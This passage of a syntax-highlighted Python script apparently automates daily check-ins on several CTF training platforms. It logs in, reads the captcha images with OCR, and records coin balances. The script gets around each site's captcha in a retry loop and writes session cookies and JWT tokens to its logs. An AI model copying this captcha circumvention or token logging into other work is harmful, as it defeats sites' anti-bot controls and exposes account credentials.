获取Cookie成功，Cookie: <span class="subst">&#123;cookie&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> cookie</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;CTFHub: 获取Cookie失败，原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">classification</span>(<span class="params">self, cookie: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        验证码识别</span></span><br><span class="line"><span class="string">        :param cookie:</span></span><br><span class="line"><span class="string">        :return: 识别出的验证码</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://api.ctfhub.com/User_API/User/getCaptcha&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">&quot;ctfhub_sessid=&quot;</span>+cookie</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        code = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">while</span> <span class="built_in">len</span>(code) != <span class="number">4</span>:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = requests.get(url, headers=headers).json()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;CTFHub: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> res.get(<span class="string">&quot;status&quot;</span>, <span class="literal">False</span>):</span><br><span class="line">                log.error(<span class="string">f&quot;CTFHub: 获取验证码失败，原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            b64_img = res.get(<span class="string">&quot;data&quot;</span>).get(<span class="string">&quot;captcha&quot;</span>)</span><br><span class="line">            img = base64_to_image(b64_img)</span><br><span class="line"></span><br><span class="line">            code = img_to_code(img)</span><br><span class="line">            log.debug(<span class="string">f&quot;CTFHub: 识别验证码: <span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_person_information</span>(<span class="params">self, cookie: <span class="built_in">str</span></span>) -&gt; <span class="built_in">dict</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取个人信息</span></span><br><span class="line"><span class="string">        :param cookie:</span></span><br><span class="line"><span class="string">        :return: 个人信息</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://api.ctfhub.com/User_API/User/getUserinfo&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">&quot;ctfhub_sessid=&quot;</span> + cookie</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        post_json = &#123;</span><br><span class="line">            <span class="string">&quot;target&quot;</span>: <span class="string">&quot;self&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        res = requests.post(url, headers=headers, json=post_json).json()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;status&quot;</span>, <span class="literal">False</span>):</span><br><span class="line">            log.info(<span class="string">&quot;查询个人信息成功&quot;</span>)</span><br><span class="line">            log.debug(<span class="string">f&quot;个人信息: <span class="subst">&#123;res.get(<span class="string">&#x27;data&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> res.get(<span class="string">&quot;data&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;查询个人信息失败，原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sign_in</span>(<span class="params">self, cookie: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        CTFHub签到</span></span><br><span class="line"><span class="string">        :param cookie:</span></span><br><span class="line"><span class="string">        :return: 签到是否成功</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://api.ctfhub.com/User_API/User/checkIn&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">&quot;ctfhub_sessid=&quot;</span>+cookie</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        start_coin = <span class="variable language_">self</span>.get_person_information(cookie).get(<span class="string">&quot;coin&quot;</span>, <span class="string">&quot;-1&quot;</span>)</span><br><span class="line"></span><br><span class="line">        res = requests.get(url, headers=headers).json()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;status&quot;</span>, <span class="literal">False</span>):</span><br><span class="line">            final_coin = <span class="variable language_">self</span>.get_person_information(cookie).get(<span class="string">&quot;coin&quot;</span>, <span class="string">&quot;-1&quot;</span>)</span><br><span class="line">            log.info(<span class="string">f&quot;CTFHub: 签到成功！金币余额: <span class="subst">&#123;start_coin&#125;</span>-&gt;<span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;已经签到&quot;</span> <span class="keyword">in</span> res.get(<span class="string">&quot;msg&quot;</span>):</span><br><span class="line">                log.info(<span class="string">f&quot;CTFHub: 今日已签到，金币余额: <span class="subst">&#123;start_coin&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">            log.error(<span class="string">f&quot;CTFHub: 签到失败！原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ADWorld</span>:</span><br><span class="line">    <span class="comment"># 攻防世界平台</span></span><br><span class="line">    user_id = -<span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">self, username: <span class="built_in">str</span>, password: <span class="built_in">str</span></span>) -&gt; (<span class="built_in">str</span>, <span class="built_in">str</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        攻防世界登录</span></span><br><span class="line"><span class="string">        :param username: 用户名</span></span><br><span class="line"><span class="string">        :param password: 密码</span></span><br><span class="line"><span class="string">        :return: 用户ID,登录token</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://adworld.xctf.org.cn/api/login/&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        flag = <span class="number">0</span>  <span class="comment"># 重试次数</span></span><br><span class="line">        <span class="keyword">while</span> flag &lt; retry_limit:</span><br><span class="line">            flag += <span class="number">1</span></span><br><span class="line">            hashkey = <span class="variable language_">self</span>.get_hash_key()</span><br><span class="line">            code = <span class="variable language_">self</span>.classification(hashkey)</span><br><span class="line"></span><br><span class="line">            json_data = &#123;</span><br><span class="line">                <span class="string">&quot;username&quot;</span>: username,</span><br><span class="line">                <span class="string">&quot;password&quot;</span>: des_ecb_encrypt(password.encode(<span class="string">&quot;utf-8&quot;</span>), <span class="string">b&#x27;B13H016Y&#x27;</span>),</span><br><span class="line">                <span class="string">&quot;hash_key&quot;</span>: hashkey,</span><br><span class="line">                <span class="string">&quot;hash_code&quot;</span>: code</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = requests.post(url, headers=headers, json=json_data).json()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;攻防世界: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> res.get(<span class="string">&quot;code&quot;</span>) == <span class="number">0</span>:</span><br><span class="line">                jwt_token = res.get(<span class="string">&quot;data&quot;</span>).get(<span class="string">&quot;access&quot;</span>)</span><br><span class="line">                user_id = res.get(<span class="string">&quot;data&quot;</span>).get(<span class="string">&quot;id&quot;</span>)</span><br><span class="line">                log.info(<span class="string">f&quot;攻防世界: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录成功, 用户id: <span class="subst">&#123;user_id&#125;</span>, jwtToken: <span class="subst">&#123;jwt_token&#125;</span>&quot;</span>)</span><br><span class="line">                log.debug(<span class="string">f&quot;攻防世界: 登录信息: <span class="subst">&#123;res.get(<span class="string">&#x27;data&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> user_id, jwt_token</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;攻防世界: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录失败，原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        log.error(<span class="string">&quot;攻防世界: 登录失败！超过最大重试次数！&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_hash_key</span>(<span class="params">self</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取随机验证码图片代码</span></span><br><span class="line"><span class="string">        :return: 验证码图片代码</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://adworld.xctf.org.cn/api/images/&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.get(url, headers=headers).json()</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;攻防世界: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;code&quot;</span>) == <span class="number">0</span>:</span><br><span class="line">            hashkey = res.get(<span class="string">&quot;data&quot;</span>).get(<span class="string">&quot;hashkey&quot;</span>)</span><br><span class="line">            log.info(<span class="string">f&quot;攻防世界: 成功获取hashkey: <span class="subst">&#123;hashkey&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> hashkey</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;攻防世界: 获取hash_key失败, 原因: <span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">classification</span>(<span class="params">self, hashkey: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        识别验证码</span></span><br><span class="line"><span class="string">        :param hashkey: 验证码图片代码</span></span><br><span class="line"><span class="string">        :return: 识别出的验证码</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        code = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">while</span> <span class="built_in">len</span>(code) != <span class="number">4</span>:</span><br><span class="line">            url = <span class="string">&quot;https://adworld.xctf.org.cn/api/captcha/images/?image_code_id=&quot;</span>+hashkey</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = requests.get(url, headers=headers)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;攻防世界: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            code = img_to_code(res.content)</span><br><span class="line">            log.debug(<span class="string">f&quot;攻防世界: 识别验证码: <span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sign_in</span>(<span class="params">self, user_id: <span class="built_in">str</span>, jwt_token: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        攻防世界签到</span></span><br><span class="line"><span class="string">        :param user_id: 用户ID</span></span><br><span class="line"><span class="string">        :param jwt_token: 登录Token</span></span><br><span class="line"><span class="string">        :return: 是否签到成功</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://adworld.xctf.org.cn/api/user_center/daily/checkin/create/&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">f&quot;Bearer <span class="subst">&#123;jwt_token&#125;</span>&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        start_coin = <span class="variable language_">self</span>.get_person_information(user_id, jwt_token).get(<span class="string">&quot;coin_number&quot;</span>, -<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">        res = requests.post(url, headers=headers).json()</span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;code&quot;</span>) == <span class="number">0</span>:</span><br><span class="line">            final_coin = <span class="variable language_">self</span>.get_person_information(user_id, jwt_token).get(<span class="string">&quot;coin_number&quot;</span>, -<span class="number">1</span>)</span><br><span class="line">            log.info(<span class="string">f&quot;攻防世界: 签到成功！金币余额: <span class="subst">&#123;start_coin&#125;</span>-&gt;<span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;已签到&quot;</span> <span class="keyword">in</span> res.get(<span class="string">&quot;msg&quot;</span>):</span><br><span class="line">                log.info(<span class="string">f&quot;攻防世界: 今日已签到, 当前金币余额: <span class="subst">&#123;start_coin&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;攻防世界: 签到失败！原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_person_information</span>(<span class="params">self, user_id: <span class="built_in">str</span>, jwt_token: <span class="built_in">str</span></span>) -&gt; <span class="built_in">dict</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取个人信息</span></span><br><span class="line"><span class="string">        :param user_id: 用户ID</span></span><br><span class="line"><span class="string">        :param jwt_token: 登录Token</span></span><br><span class="line"><span class="string">        :return: 个人信息</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">f&quot;https://adworld.xctf.org.cn/api/user_center/base/info/<span class="subst">&#123;user_id&#125;</span>/&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">f&quot;Bearer <span class="subst">&#123;jwt_token&#125;</span>&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        res = requests.get(url, headers=headers).json()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;code&quot;</span>) == <span class="number">0</span>:</span><br><span class="line">            log.info(<span class="string">f&quot;攻防世界: 获取个人信息成功&quot;</span>)</span><br><span class="line">            log.debug(<span class="string">f&quot;攻防世界: 个人信息: <span class="subst">&#123;res.get(<span class="string">&#x27;data&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> res.get(<span class="string">&quot;data&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;攻防世界: 获取个人信息失败！原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">QSNCTF</span>:</span><br><span class="line">    <span class="comment"># 青少年CTF练习平台</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">self, username, password</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        青少年CTF训练平台登录</span></span><br><span class="line"><span class="string">        :param username: 用户名</span></span><br><span class="line"><span class="string">        :param password: 密码</span></span><br><span class="line"><span class="string">        :return: 登录凭证</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://www.qsnctf.com/api/login&quot;</span></span><br><span class="line"></span><br><span class="line">        flag = <span class="number">0</span></span><br><span class="line">        <span class="keyword">while</span> flag &lt; retry_limit:</span><br><span class="line">            flag += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">            post_json = &#123;</span><br><span class="line">                <span class="string">&quot;username&quot;</span>: username,</span><br><span class="line">                <span class="string">&quot;password&quot;</span>: password,</span><br><span class="line">                <span class="string">&quot;captcha&quot;</span>: <span class="variable language_">self</span>.classification(),</span><br><span class="line">                <span class="string">&quot;code&quot;</span>: <span class="string">&quot;02c9ad84-d17d-47e8-8a6f-a1228d2b81f9&quot;</span></span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = requests.post(url, json=post_json).json()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;青少年CTF练习平台: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            access = res.get(<span class="string">&quot;access&quot;</span>, <span class="literal">None</span>)</span><br><span class="line">            <span class="keyword">if</span> access <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">                log.info(<span class="string">f&quot;青少年CTF练习平台: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录成功! access: <span class="subst">&#123;access&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> access</span><br><span class="line">            </span><br><span class="line">            log.error(<span class="string">f&quot;青少年CTF练习平台: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录失败, 原因: <span class="subst">&#123;res.get(<span class="string">&#x27;detail&#x27;</span>, <span class="string">&#x27;未知原因&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        log.error(<span class="string">f&quot;青少年CTF练习平台: 登录失败，超过最大重试次数！&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">classification</span>(<span class="params">self</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        识别验证码</span></span><br><span class="line"><span class="string">        :return: 识别出的验证码</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        code = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">while</span> <span class="built_in">len</span>(code) &lt; <span class="number">4</span>:</span><br><span class="line">            url = <span class="string">&quot;https://www.qsnctf.com/api/captcha/02c9ad84-d17d-47e8-8a6f-a1228d2b81f9&quot;</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                img = requests.get(url).content</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;青少年CTF练习平台: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            code = img_to_code(img)</span><br><span class="line">        <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sign_in</span>(<span class="params">self, access: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        青少年CTF练习平台签到</span></span><br><span class="line"><span class="string">        :param access: 登录凭证</span></span><br><span class="line"><span class="string">        :return: 是否签到成功</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://www.qsnctf.com/api/api/sign_in&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">f&quot;Bearer <span class="subst">&#123;access&#125;</span>&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        start_coin = <span class="variable language_">self</span>.get_person_information(access).get(<span class="string">&quot;gold_coins&quot;</span>, -<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.post(url, headers=headers).json()</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;青少年CTF练习平台: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        final_coin = <span class="variable language_">self</span>.get_person_information(access).get(<span class="string">&quot;gold_coins&quot;</span>, -<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">        msg = res.get(<span class="string">&quot;detail&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;成功&quot;</span> <span class="keyword">in</span> msg:</span><br><span class="line">            log.info(<span class="string">f&quot;青少年CTF练习平台: 签到成功！金币余额: <span class="subst">&#123;start_coin&#125;</span>-&gt;<span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">elif</span> <span class="string">&quot;已经签到&quot;</span> <span class="keyword">in</span> msg:</span><br><span class="line">            log.info(<span class="string">f&quot;青少年CTF练习平台: 今日已经签到！当前金币余额: <span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;青少年CTF练习平台: 签到失败！原因: <span class="subst">&#123;msg&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_person_information</span>(<span class="params">self, access: <span class="built_in">str</span></span>) -&gt; <span class="built_in">dict</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取个人信息</span></span><br><span class="line"><span class="string">        :param access: 登录凭证</span></span><br><span class="line"><span class="string">        :return: 个人信息</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://www.qsnctf.com/api/profile&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Authorization&quot;</span>: <span class="string">f&quot;Bearer <span class="subst">&#123;access&#125;</span>&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.get(url, headers=headers).json()</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;青少年CTF练习平台: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line">        msg = res.get(<span class="string">&quot;detail&quot;</span>, <span class="literal">None</span>)</span><br><span class="line">        log.debug(<span class="string">f&quot;青少年CTF练习平台: 获取到的个人信息: <span class="subst">&#123;res&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> msg <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            log.error(<span class="string">f&quot;青少年CTF练习平台: 获取个人信息失败！原因: <span class="subst">&#123;msg&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> &#123;&#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 防止onnxruntime警告刷屏</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> onnxruntime_warning:</span><br><span class="line">    <span class="keyword">import</span> onnxruntime</span><br><span class="line">    onnxruntime.set_default_logger_severity(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    log.info(<span class="string">&quot;开始执行自动签到任务 (GitHub Actions模式)...&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># NSSCTF</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">20</span>+<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">20</span>)</span><br><span class="line">    <span class="keyword">if</span> nss_username != <span class="string">&quot;&quot;</span> <span class="keyword">and</span> nss_password != <span class="string">&quot;&quot;</span>:</span><br><span class="line">        log.info(<span class="string">&quot;NSSCTF: 开始签到&quot;</span>)</span><br><span class="line">        token = NSSCTF().login(nss_username, nss_password)</span><br><span class="line">        NSSCTF().sign_in(token)</span><br><span class="line">        log.info(<span class="string">&quot;NSSCTF: 签到操作结束&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        log.info(<span class="string">&quot;NSSCTF: 未配置账号密码，跳过&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Bugku</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">20</span>+<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">20</span>)</span><br><span class="line">    <span class="keyword">if</span> bugku_username != <span class="string">&quot;&quot;</span> <span class="keyword">and</span> bugku_password != 